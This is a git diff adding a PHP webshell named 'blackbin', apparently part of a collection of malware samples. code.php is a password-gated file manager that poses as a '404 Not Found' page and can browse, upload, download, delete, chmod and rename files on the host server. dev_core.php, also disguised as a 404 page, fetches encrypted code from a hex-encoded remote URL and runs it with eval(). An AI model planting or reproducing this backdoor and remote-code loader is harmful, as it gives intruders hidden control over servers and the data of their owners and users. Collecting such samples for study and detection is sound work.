diff --git a/php/blackbin/v1/code.php b/php/blackbin/v1/code.php
new file mode 100644
index 0000000..1066104
--- /dev/null
+++ b/php/blackbin/v1/code.php
@@ -0,0 +1,1033 @@
+//
+function sideOut(d, t) {
+ window.setTimeout(display, t);
+ function display() {
+ $("load").style.display = "none"
+ }
+}
+function ajax(arg, type) {
+ if ($("load")) {
+ $("load").style.display = "block";
+ $("load").innerHTML = "正在载入......"
+ }
+ if (type == 2 || arg == 2) {
+ $("load").innerHTML = "功能陆续完善中......";
+ sideOut($("load"), 1500);
+ return
+ }
+ if (type == 1) arg = 'action=show&dir=' + arg;
+ if (type == 3) {
+ if (confirm("确定删除当前文件么?")) arg = 'action=delete&file=' + arg;
+ else {
+ $("load").innerHTML = "操作已取消";
+ sideOut($("load"), 1500);
+ return
+ }
+ }
+ if (type == 4) {
+ window.location.href = '?action=download&file=' + arg;
+ sideOut($("load"), 500);
+ return
+ }
+ if (type == 5) {
+ var mk = prompt('请输入创建文件夹名称:', '');
+ if (!mk) {
+ $("load").innerHTML = "操作已取消";
+ sideOut($("load"), 1500);
+ return
+ }
+ arg = 'action=_mkdir&dir=' + mk
+ }
+ if (type == 6) {
+ $("upload").style.display = 'block';
+ $("close_file").onclick = function() {
+ $("upload").style.display = 'none';
+ $("load").innerHTML = "操作已取消";
+ sideOut($("load"), 1500);
+ return
+ }
+ $("_file").onclick = function() {
+ this.form.submit();
+ $("upload").style.display = 'none';
+ $("userfile").value = '';
+ return
+ }
+ return
+ }
+ action = arg ? arg: 'action=show';
+ var options = {};
+ options.url = '{self}';
+ options.listener = callback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ request.send(action)
+}
+function view(arg) {
+ action = 'action=view&file=' + arg;
+ var options = {};
+ options.url = '{self}';
+ options.listener = viewcallback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ request.send(action)
+}
+function edit() {
+ $("load").style.display = "block";
+ $("load").innerHTML = "确保编码一致,不在提供编辑功能.可以使用上传功能覆盖当前编辑文件!";
+ sideOut($("load"), 4000);
+ return
+}
+function fileperm(name, type) {
+ var newperm;
+ if (type == 3) newperm = prompt('需要输入完整路径(包含文件名):', '');
+ else newperm = prompt('请输入名称:', '');
+ if (!newperm) return;
+ if (type == 1) chmod(name, newperm);
+ if (type == 2) rename(name, newperm);
+ if (type == 3) copy(name, newperm)
+}
+function chmod(name, perm) {
+ action = 'action=chmod&file=' + name + '&perm=' + perm;
+ var options = {};
+ options.url = '{self}';
+ options.listener = callback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ request.send(action)
+}
+function rename(name, perm) {
+ action = 'action=rename&file=' + name + '&newname=' + perm;
+ var options = {};
+ options.url = '{self}';
+ options.listener = callback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ request.send(action)
+}
+function copy(name, perm) {
+ action = 'action=copyfile&file=' + name + '©file=' + perm;
+ var options = {};
+ options.url = '{self}';
+ options.listener = callback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ request.send(action)
+}
+function XmlRequest(options) {
+ var req = false;
+ if (window.XMLHttpRequest) {
+ var req = new XMLHttpRequest()
+ } else if (window.ActiveXObject) {
+ var req = new window.ActiveXObject('Microsoft.XMLHTTP')
+ }
+ if (!req) return false;
+ req.onreadystatechange = function() {
+ if (req.readyState == 4 && req.status == 200) {
+ options.listener.call(req)
+ }
+ };
+ req.open(options.method, options.url, true);
+ return req
+}
+function viewcallback() {
+ var data = this.responseText;
+ if (data) {
+ $("open").style.display = "block";
+ $("show_file").focus();
+ $("show_file").innerHTML = data;
+ close();
+ $("show_file").onblur = function() {
+ $("open").style.display = "none"
+ }
+ } else {
+ $("load").style.display = "block";
+ $("load").innerHTML = "不支持预览此类型的文件,或者预览的文件大于1Mb!";
+ sideOut($("load"), 2000);
+ return
+ }
+}
+function callback() {
+ var json = eval("(" + this.responseText + ")");
+ if (json.status == 'off') {
+ document.onkeydown = function(e) {
+ var theEvent = window.event || e;
+ var code = theEvent.keyCode || theEvent.which;
+ if (80 == code) {
+ $("login").style.display = "block"
+ }
+ }
+ }
+ if (json.status == 'close') {
+ document.body.innerHTML = json.data;
+ $("login").style.display = "block";
+ login()
+ }
+ if (json.status=='on'){
+ window.location.reload();
+ return;
+ }
+ if (json.status == 'ok') {
+ ajax();
+ document.body.innerHTML = json.data
+ }
+ if (json.pages == '') {
+ $("pages").style.display = "none"
+ }
+ if (json.pages) {
+ $("pages").style.display = "block";
+ $("pages").innerHTML = json.pages
+ }
+ if (json.node_data) $("show").innerHTML = json.node_data;
+ if (json.time) $("runtime").innerHTML = json.time;
+ if (json.listdir) $("listdir").innerHTML = json.listdir;
+ if (json.memory) $("memory").innerHTML = json.memory;
+ if (json.disktotal) $("disktotal").innerHTML = json.disktotal;
+ if ($("load")) {
+ $("load").style.display = "none"
+ }
+ if (json.error) {
+ $("load").style.display = "block";
+ $("load").innerHTML = json.error;
+ sideOut($("load"), 1500)
+ }
+ if (json.notice) {
+ $("load").style.display = "block";
+ $("load").innerHTML = json.notice;
+ sideOut($("load"), 1500);
+ }
+}
+function reload() {
+ var options = {};
+ options.url = '{self}';
+ options.listener = callback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('AJAX', 'true');
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ request.send('action=init')
+}
+function addEvent(obj, evt, fn) {
+ if (obj.addEventListener) {
+ obj.addEventListener(evt, fn, false)
+ } else if (obj.attachEvent) {
+ obj.attachEvent('on' + evt, fn)
+ }
+}
+function init() {
+ $();
+ login();
+ reload()
+}
+function close() {
+ $("close").onclick = function() {
+ $("open").style.display = "none"
+ }
+}
+function login() {
+ $("login_open").onclick = function() {
+ var pwd = $("pwd").value;
+ var options = {};
+ options.url = '{self}';
+ options.listener = callback;
+ options.method = 'POST';
+ var request = XmlRequest(options);
+ request.setRequestHeader('AJAX', 'true');
+ request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
+ if (pwd) request.send('pwd=' + pwd)
+ }
+}
+function $(d) {
+ return document.getElementById(d)
+}
+addEvent(window, 'load', init);
+
+HTML;
+ return str_replace('{self}',self,$js);
+ }
+ static protected function css(){
+ $css=<<$page_nums ? ceil($total_nums/$page_nums) : 1;
+ if ($nums>1){
+ $page=intval($_POST['page']) ? intval($_POST['page']) : 1;
+ if ($page>$nums || $page<1) $page=1;
+ if($page==1){$for_start=0; $for_page=$page*$page_nums-1;}
+ else {$for_page=$page*$page_nums-1 > $total_nums ? $total_nums : $page*$page_nums-1;
+ $for_start=$page*$page_nums-1 > $total_nums ? ($page-1)*$page_nums-2 : $for_page-$page_nums-1 ; }
+ }
+ if($nums==1){
+ $for_start=0;
+ $for_page=$total_nums;
+ }
+ for($i=$for_start;$i<$for_page;++$i){
+ if($array[$i]=='.'||$array[$i]=='..') continue;
+ if (is_dir($file.$array[$i])) $dir[] = $array[$i];
+ elseif(is_file($file.$array[$i])) $files[] = $array[$i];
+ }
+ $next = $page+1<=$nums ? $page+1 : $nums;
+ $previous = $page-1>1 ? $page-1 : 1;
+ if($nums>10){
+ if($page>5){
+ if($nums-$page>=5){
+ $ipage=$page-4;
+ $_nums=$page+5;
+ }else{
+ $ipage=$nums-9;
+ $_nums=$nums;
+ }
+ }else{
+ $ipage=1;$_nums=10;
+ }
+ }else{
+ $ipage=1;
+ $_nums=$nums;
+ }
+ for($i=$ipage;$i<=$_nums;++$i){
+ if($i==$page)
+ $_page.=sprintf('%s ',urlencode(self::convert_to_utf8($file)),$i,$i);
+ else $_page.=sprintf('%s ',urlencode(self::convert_to_utf8($file)),$i,$i);
+ }
+ /*****************
+ 分页结束
+ ******************/
+ if (!isset($dir)) $dir = array();
+ if (!isset($files)) $files = array();
+ $_ipage_file=urlencode(rtrim(self::convert_to_utf8($file),'/')); //bug修复
+ $_pages=<<
+
+
+
+
+
+
+ Index
+ Previous
+ {pages}
+ Next
+ End
+
+
+HTML;
+ $return=<<
+
+ -
+
+ 文件名
+ 修改时间
+ 文件大小
+ 权限
+ 操作
+
+ -
+
+ -
+
+
+ 返回上一目录
+
+
+
+
+
+
+ {file}
+
+HTML;
+ $return_file=<<
+
+
+
+
+
+ {return_file}
+
+
+ {return_time}
+
+ {return_size}
+
+ {return_chmod} /
+ {return_perms}
+
+
+ {is_folder}
+
+
+HTML;
+ $document=array_merge($dir,$files);
+ foreach($document as $i=>$gbk){
+ $utf8=self::convert_to_utf8($gbk);
+ $utf8_file=self::convert_to_utf8($file);
+ $className= $i % 2 ? "dd" : "fff";
+ if(is_dir($file.$gbk)){
+ $return_onclick="ajax(this.name,1)";
+ $return_folder=sprintf('
+ 重命名',
+ urlencode($utf8_file.$utf8));
+ }
+ if(is_file($file.$gbk)){
+ $return_onclick="view(this.name)";
+ $return_folder=sprintf('
+ 下载 |
+ 复制 |
+ 编辑 |
+ 重命名',
+ urlencode($utf8_file.$utf8),
+ urlencode($utf8_file.$utf8),
+ urlencode($utf8_file.$utf8),
+ urlencode($utf8_file.$utf8));
+ }
+ $search=array('{className}',
+ '{return_file}',
+ '{return_time}',
+ '{return_size}',
+ '{return_chmod}',
+ '{return_perms}',
+ '{return_link}',
+ '{return_onclick}',
+ '{is_folder}',
+ );
+ $replace=array($className,
+ $utf8,
+ self::perms($file.$gbk,3),
+ self::perms($file.$gbk,4),
+ self::perms($file.$gbk,1),
+ self::perms($file.$gbk,2),
+ urlencode($utf8_file.$utf8),
+ $return_onclick,
+ $return_folder,
+ );
+ $directory['html'].=str_replace($search,$replace,$return_file);
+ }
+ $directory['node_data']=str_replace(array('{file}','{back}'),
+ array($directory['html'],
+ urlencode(str_replace('\\\\','/',dirname(self::convert_to_utf8($file))))
+ ),
+ $return);
+ $pages=str_replace('{pages}',$_page,$_pages);
+ $directory['pages']=$nums>1 ? $pages : '';
+ unset($directory['html'],$_pages);
+ $directory['folder']=count($dir);
+ $directory['file']=count($files);
+ $directory['time']=self::G('runtime','end');
+ $directory['listdir']=self::uppath($file);
+ $directory['memory']=self::byte_format(memory_get_peak_usage());
+ $directory['disktotal']=self::byte_format(disk_total_space($file));
+ if(true==$msg) $directory['error']=$msg;
+ unset($dir,$files);
+ if(!ob_start("ob_gzhandler")) ob_start();
+ clearstatcache();
+ echo json_encode($directory);
+ // print_r(array_unique($directory));
+ ob_end_flush();
+ unset($directory);
+ exit;
+}
+function view(){
+ header ("Cache-Control: no-cache, must-revalidate");
+ header ("Pragma: no-cache");
+ header("Content-type:text/html;charset=UTF-8");
+ $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
+ ob_start();
+ $path=pathinfo($file);
+ //$path['extension'] = is_null($path['extension']) ? null :$path['extension'];
+ if(filesize($file)>1024*1024) {
+ exit;
+ }
+ if(in_array(strtolower($path['extension']),array('exe',
+ 'dat',
+ 'mp3',
+ 'rmvb',
+ 'jpg',
+ 'png',
+ 'gif',
+ 'swf',
+ 'gz',
+ 'bz2',
+ 'tar',
+ 'sys',
+ 'dll',
+ 'so',
+ 'bin',
+ 'pdf',
+ 'chm',
+ 'doc',
+ 'xls',
+ 'wps',
+ 'ogg',
+ 'mp4',
+ 'flv',
+ 'ppt',
+ 'zip',
+ 'iso',
+ 'msi'
+ ))) exit;
+ $c=self::convert_to_utf8(file_get_contents($file));
+ if(!ob_start("ob_gzhandler")) ob_start();
+ //highlight_string($c);
+ clearstatcache();
+ $c=htmlspecialchars($c);
+ echo "$c
";
+ ob_end_flush();
+ exit;
+}
+function _mkdir(){
+ if($_POST['dir']){
+ $mkdir=$_COOKIE['PATH'].self::convert_to_utf8($_POST['dir'],'utf8');
+ if(true==@mkdir($mkdir,0777)){
+ $_POST['dir']=$_COOKIE['PATH'];
+ self::show('文件夹创建成功');
+ }
+ else die('{"error":"文件夹创建失败"}');
+ }
+}
+function chmod(){
+ if($_POST['file']&&$_POST['perm']){
+ $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
+ $perm=base_convert($_POST['perm'], 8, 10);
+ if(true==@chmod($file,$perm)){
+ $_POST['dir']=$_COOKIE['PATH'];
+ self::show('权限修改成功');
+ }
+ else die('{"error":"文件修改失败"}');
+ }
+}
+function rename(){
+ if($_POST['file']&&$_POST['newname']){
+ $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
+ $newname=$_COOKIE['PATH'].self::convert_to_utf8($_POST['newname'],'utf8');
+ if(true==@rename($file,$newname)){
+ $_POST['dir']=$_COOKIE['PATH'];
+ self::show('文件重命名成功');
+ }
+ else die('{"error":"文件修改失败"}');
+ }
+}
+function upload(){
+ $file=$_COOKIE['PATH'].basename($_FILES['userfile']['name']);
+ if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_to_utf8($file,'utf8'))){
+ exit('');
+ }
+ else{
+ exit('');
+ }
+
+}
+function copyfile(){
+ if($_POST['file']&&$_POST['copyfile']){
+ $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
+ $newname=self::convert_to_utf8($_POST['copyfile'],'utf8');
+ if(true==@copy($file,$newname)){
+ die('{"error":"文件拷贝成功"}');
+ }
+ else die('{"error":"文件拷贝失败"}');
+ }
+}
+function delete(){
+ $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
+ if(is_file($file)){
+ if(true==@unlink($file)) {
+ $_POST['dir']=$_COOKIE['PATH'];
+ self::show('文件删除成功');
+ }
+ else die('{"error":"文件删除失败"}');
+ }
+ if(is_dir($file)){
+ if(true==@rmdir($file)) {
+ $_POST['dir']=$_COOKIE['PATH'];
+ self::show('文件夹删除成功');
+ }
+ else die('{"error":"文件夹删除失败"}');
+ }
+}
+function download(){
+ $filename = urldecode(self::convert_to_utf8($_GET["file"],'utf8'));
+ if (file_exists($filename)) {
+ header ("Cache-Control: no-cache, must-revalidate");
+ header ("Pragma: no-cache");
+ header("Content-Disposition: attachment; filename=".basename($filename));
+ header("Content-Length: ".filesize($filename));
+ header("Content-Type: application/force-download");
+ header('Content-Description: File Transfer');
+ header('Content-Encoding: none');
+ header("Content-Transfer-Encoding: binary" );
+ @readfile($filename);
+ exit();
+}
+}
+static protected function uppath($path){
+ $return='';
+ $path=self::convert_to_utf8(rtrim($path,'/'));
+ if(strpos($path,"/")==0) return sprintf('%s',$path,ucfirst($path));
+ else {
+ $array=explode("/",$path);
+ foreach($array as $i => $value){
+ if($i==0) $path=$value;
+ if($i>0) $path.=sprintf('/%s',$array[$i]);
+ $return.= sprintf('%s ',$path,ucfirst($value));
+ }
+ return $return;
+ }
+
+}
+static protected function perms($file, $type = '1') {
+ if ($type == 1) {
+ return substr(sprintf('%o', fileperms($file)), -4);
+ }
+ if ($type == 2) {
+ return self::getperms($file);
+ }
+ if ($type == 3) {
+ return date('Y-m-d h:i:s', filemtime($file));
+ }
+ if ($type == 4) {
+ return is_dir($file) ? 'directory' : self::byte_format(sprintf("%u",
+ filesize($file)));
+ }
+ }
+ static protected function headers() {
+ header ("Cache-Control: no-cache, must-revalidate");
+ header ("Pragma: no-cache");
+ $eof = <<< HTML
+
+
+
+
+
+
+
+
文件管理 - 当前磁盘空间 运行用户:{whoami}
+
+
+
+
+
+
+
+
+
+
+
+
+HTML;
+ $actions[]=array('name'=>'网站目录',
+ 'url'=>urlencode($_SERVER['DOCUMENT_ROOT']),
+ 'type'=>1
+ );
+ $actions[]=array('name'=>'文件目录',
+ 'url'=>urlencode(str_replace(array('\\\\'),array('/'),dirname(__FILE__))),
+ 'type'=>1
+ );
+ $actions[]=array('name'=>'创建文件夹',
+ 'url'=>'null',
+ 'type'=>'5'
+ );
+ $actions[]=array('name'=>'创建文件',
+ 'url'=>'2',
+ 'type'=>'2'
+ );
+ $actions[]=array('name'=>'上传文件',
+ 'url'=>'null',
+ 'type'=>'6'
+ );
+ $menus[]=array('name'=>'退出',
+ 'url'=>'action=logout',
+ 'type'=>'null'
+ );
+ $menus[]=array('name'=>'文件管理',
+ 'url'=>urlencode(str_replace(array('\\\\'),array('/'),dirname(__FILE__))),
+ 'type'=>1
+ );
+ $menus[]=array('name'=>'数据库操作',
+ 'url'=>'2',
+ 'type'=>'2'
+ );
+ $menus[]=array('name'=>'运行命令',
+ 'url'=>'2',
+ 'type'=>'2'
+ );
+ $menus[]=array('name'=>'PHP相关',
+ 'url'=>'2',
+ 'type'=>'2'
+ );
+ $menus[]=array('name'=>'端口扫描',
+ 'url'=>'2',
+ 'type'=>'2'
+ );
+ $menus[]=array('name'=>'PHP命令',
+ 'url'=>'2',
+ 'type'=>'2'
+ );
+ foreach ($menus as $key => $value) {
+ $menu .= sprintf('%s | ',
+ $value['url'],$value['type'],$value['name']);
+ }
+ foreach ($actions as $key => $value) {
+ $action .= sprintf('%s | ',
+ $value['url'],$value['type'],$value['name']);
+ }
+ $serach = array(
+ '{title}',
+ '{host}',
+ '{ip}',
+ '{uname}',
+ '{software}',
+ '{php_version}',
+ '{menu}',
+ '{copyright}',
+ '{cdrom}',
+ '{action}',
+ '{gzip}',
+ '{memory}',
+ '{js}',
+ '{css}',
+ '{whoami}');
+ if (!function_exists('posix_getegid')) {
+ $user = @get_current_user();
+ $uid = @getmyuid();
+ $gid = @getmygid();
+ $group = "?";
+} else {
+ $uid = @posix_getpwuid(@posix_geteuid());
+ $gid = @posix_getgrgid(@posix_getegid());
+ $user = $uid['name'];
+ $uid = $uid['uid'];
+ $group = $gid['name'];
+ $gid = $gid['gid'];
+}
+ $replace = array(
+ title,
+ $_SERVER['HTTP_HOST'],
+ $_SERVER['SERVER_ADDR'],
+ php_uname('s'),
+ $_SERVER["SERVER_SOFTWARE"],
+ PHP_VERSION,
+ trim($menu, '| '),
+ copyright,
+ self::disk(),
+ trim($action, '| '),
+ gzip,
+ self::byte_format(memory_get_peak_usage()),
+ self::js(),
+ self::css(),
+ $uid . ' ( ' . $user . ' ) / Group: ' . $gid . ' ( ' . $group . ' )');
+ $eof = str_replace($serach, $replace, $eof);
+ $json['status']='ok';
+ $json['data']=$eof;
+ if(!ob_start("ob_gzhandler")) ob_start();
+ echo json_encode($json);
+ ob_end_flush();
+ exit;
+ }
+ static protected function disk() {
+ if (is_win) {
+ $cdrom = range('A', 'Z');
+ foreach ($cdrom as $disk) {
+ $disk = sprintf("%s%s", $disk, ':');
+ if (is_readable($disk)) {
+ $return .= sprintf('DISK %s | ',
+ $disk, $disk);
+ }
+ }
+ return trim($return, "| ");
+ }
+ else {
+ if(function_exists("scandir")){
+ $cdrom = scandir('/');
+ }elseif(function_exists("glob")){
+ foreach(glob('/*') as $ff){
+ $cdrom[]=basename($ff);
+ }
+ }
+ foreach ($cdrom as $disk) {
+ if ($disk == '.' || $disk == '..') continue;
+ $disk = sprintf("%s%s", '/', $disk);
+ if (is_readable($disk)) {
+ if (is_dir($disk)) $return .= sprintf('%s | ',
+ urlencode($disk), str_replace('/', '', $disk));
+ }
+ }
+ return trim($return, "| ");
+ }
+ }
+ static protected function G($start, $end = '', $dec = 6) {
+ static $_info = array();
+ if (is_float($end)) { // 记录时间
+ $_info[$start] = $end;
+ }
+ elseif (!empty($end)) { // 统计时间
+ if (!isset($_info[$end])) $_info[$end] = microtime(true);
+ return number_format(($_info[$end] - $_info[$start]), $dec);
+ }
+ else { // 记录时间
+ $_info[$start] = microtime(true);
+ }
+ }
+ static protected function authentication() {
+ if (true == password) {
+ //if(!empty($_POST['pwd']) && !preg_match('/^[a-z0-9]+$/',$_POST['pwd'])) exit;
+ if(!empty($_POST['pwd']) && strlen(password) == 32) $password = hash(crypt, $_POST['pwd']);
+ else $password = $_POST['pwd'];
+ if((true == $password) && $password !==password) die('{"error":"密码错误!"}');
+ if((true == $password) && $password == password) {
+ setcookie('verify', $password, time() + 3600*24*30);
+ self::headers();
+ exit;
+ }
+ if (!isset($_COOKIE['verify']) || empty($_COOKIE['verify']) || (string )$_COOKIE['verify']
+ !== password) {
+ if($_SERVER['HTTP_AJAX']=='true') die('{"status":"off"}');
+ self::login();
+ exit;
+ }
+ }
+ if($_SERVER['HTTP_AJAX']=='true') self::headers();
+ }
+ public function logout() {
+ setcookie('key', '', time() - 3600*24*30);
+ unset($_COOKIE['key']);
+ session_start();
+ session_destroy();
+ $login=<<
+
+
+
+
+ Password:
+
+
+
+
+LOGIN;
+ $json['status']='close';
+ $json['data']=$login;
+ die(json_encode($json));
+ }
+ static function login() {
+ $login=<<
+
+
+
+{title}
+{css}
+{js}
+
+
+
+
+
+
+
+ Password:
+
+
+
+
+
+
+LOGIN;
+ $search=array('{css}',
+ '{title}',
+ '{js}');
+ $replace=array(self::css(),
+ title,
+ self::js());
+ echo str_replace($search,$replace,$login);
+ }
+ static protected function getperms($path) {
+ $perms = fileperms($path);
+ if (($perms & 0xC000) == 0xC000) {
+ $info = 's';
+ }
+ elseif (($perms & 0xA000) == 0xA000) {
+ $info = 'l';
+ }
+ elseif (($perms & 0x8000) == 0x8000) {
+ $info = '-';
+ }
+ elseif (($perms & 0x6000) == 0x6000) {
+ $info = 'b';
+ }
+ elseif (($perms & 0x4000) == 0x4000) {
+ $info = 'd';
+ }
+ elseif (($perms & 0x2000) == 0x2000) {
+ $info = 'c';
+ }
+ elseif (($perms & 0x1000) == 0x1000) {
+ $info = 'p';
+ }
+ else {
+ $info = '?????????';
+ return $info;
+ }
+ $info .= (($perms & 0x0100) ? 'r' : '-');
+ $info .= (($perms & 0x0080) ? 'w' : '-');
+ $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
+ 0x0800) ? 'S' : '-'));
+ $info .= (($perms & 0x0020) ? 'r' : '-');
+ $info .= (($perms & 0x0010) ? 'w' : '-');
+ $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
+ 0x0400) ? 'S' : '-'));
+ $info .= (($perms & 0x0004) ? 'r' : '-');
+ $info .= (($perms & 0x0002) ? 'w' : '-');
+ $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
+ 0x0200) ? 'T' : '-'));
+ return $info;
+ }
+ static protected function byte_format($size, $dec = 2) {
+ $a = array(
+ "B",
+ "KB",
+ "MB",
+ "GB",
+ "TB",
+ "PB");
+ $pos = 0;
+ while ($size >= 1024) {
+ $size /= 1024;
+ $pos++;
+ }
+ return round($size, $dec) . "" . $a[$pos];
+ }
+ static protected function convert_to_utf8($str,$type='gbk'){
+ if(function_exists('iconv')){
+ if($type=='gbk'){
+ if(false==@iconv("GBK","UTF-8",$str)){
+ return $str;
+ }else{
+ return @iconv("GBK","UTF-8",$str);
+ }
+ }
+ if($type=='utf8'){
+ if(false==@iconv("UTF-8","GBK",$str)){
+ return $str;
+ }else{
+ return @iconv("UTF-8","GBK",$str);
+ }
+ }
+ }else{
+ return $str;
+ }
+ }
+}
+function run(){
+set_time_limit(0);
+ini_set('memory_limit',-1);
+if(!defined('password')) define('password','');
+if(!defined('title')) define('title','404 Not Found');
+if(!defined('copyright')) define('copyright', 'E');
+define('self',$_SERVER["SCRIPT_NAME"]);
+define('crypt', 'ripemd128');
+define('__ROOT__', $_SERVER["DOCUMENT_ROOT"]);
+define('is_win','win' == substr(strtolower(PHP_OS),0,3));
+date_default_timezone_set('asia/shanghai');
+define('gzip',function_exists("ob_gzhandler") ? 'gzip on' : 'gzip off');
+extract($_POST);
+extract($_GET);
+header ("Cache-Control: no-cache, must-revalidate");
+header ("Pragma: no-cache");
+project::init();
+$action=!empty($action) ? strtolower(rtrim($action,'/')) : 'login';
+if (!is_callable(array('project', $action))) return false;
+if (!method_exists('project', $action)) return false;
+call_user_func(array('project', $action));
+}
+//?>
\ No newline at end of file
diff --git a/php/blackbin/v1/dev_core.php b/php/blackbin/v1/dev_core.php
new file mode 100644
index 0000000..5f79ff5
--- /dev/null
+++ b/php/blackbin/v1/dev_core.php
@@ -0,0 +1,239 @@
+//
+
+
+
+
+ 404 Not Found
+
+
+
+
+
+
+
+
+
+
+HTML;
+ if ($_POST['pwd'] == true) {
+ $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
+ '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),
+ $_POST['pwd'], true)));
+ if ('true' == $true) {
+ setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);
+ exit('{"status":"on"}');
+ } else {
+ exit('{"notice":"API-ERROR"}');
+ }
+ }
+ if ($_COOKIE['key'] == true) {
+ $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*',
+ '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'),
+ $_COOKIE['key'], true)));
+ if ('true' == $true) {
+ if ($_SESSION['code'] == null) {
+ $_SESSION['code'] = _REQUEST(sprintf("%s?%s",pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f636f64652e6a7067'),uniqid()));
+ } else {
+ $_SESSION['code'] = $_SESSION['code'];
+ }
+ eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_COOKIE['key'], true))));
+ }
+ }
+ if ($_COOKIE['key'] == null) {
+ echo str_replace('{self}', $_SERVER["SCRIPT_NAME"], $login);
+ exit();
+ }
+}
+
+function _Content($fsock = null)
+{
+ $out = null;
+ while ($buff = @fgets($fsock, 2048)) {
+ $out .= $buff;
+ }
+ fclose($fsock);
+ $pos = strpos($out, "\r\n\r\n");
+ $head = substr($out, 0, $pos); //http head
+ $status = substr($head, 0, strpos($head, "\r\n")); //http status line
+ $body = substr($out, $pos + 4, strlen($out) - ($pos + 4)); //page body
+ if (preg_match("/^HTTP\/\d\.\d\s([\d]+)\s.*$/", $status, $matches)) {
+ if (intval($matches[1]) / 100 == 2) {
+ return $body;
+ } else {
+ return false;
+ }
+ } else {
+ return false;
+ }
+}
+
+function _REQUEST($url)
+{
+ $url2 = parse_url($url);
+ $fsock_timeout = 30; //5 second
+ if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout)) < 0) {
+ return false;
+ }
+ $request = $url2["path"];
+ $in = "GET " . $request . " HTTP/1.1\r\n";
+ $in .= "Accept: */*\r\n";
+ $in .= "User-Agent: E/1.0 EBSD\r\n";
+ $in .= "Host: " . $url2["host"] . "\r\n";
+ $in .= "Connection: Close\r\n\r\n";
+ if (!@fwrite($fsock, $in, strlen($in))) {
+ fclose($fsock);
+ return false;
+ }
+ return _Content($fsock);
+}
+// ?>
\ No newline at end of file
diff --git a/php/blackbin/v1/make2.php b/php/blackbin/v1/make2.php
new file mode 100644
index 0000000..01aafaf
--- /dev/null
+++ b/php/blackbin/v1/make2.php
@@ -0,0 +1,3 @@
+
\ No newline at end of file
diff --git a/php/blackbin/v1/readme.md b/php/blackbin/v1/readme.md
new file mode 100644
index 0000000..6414e8d
--- /dev/null
+++ b/php/blackbin/v1/readme.md
@@ -0,0 +1,3 @@
+look here:
+
+http://blog.wangzhan.360.cn/?p=65
\ No newline at end of file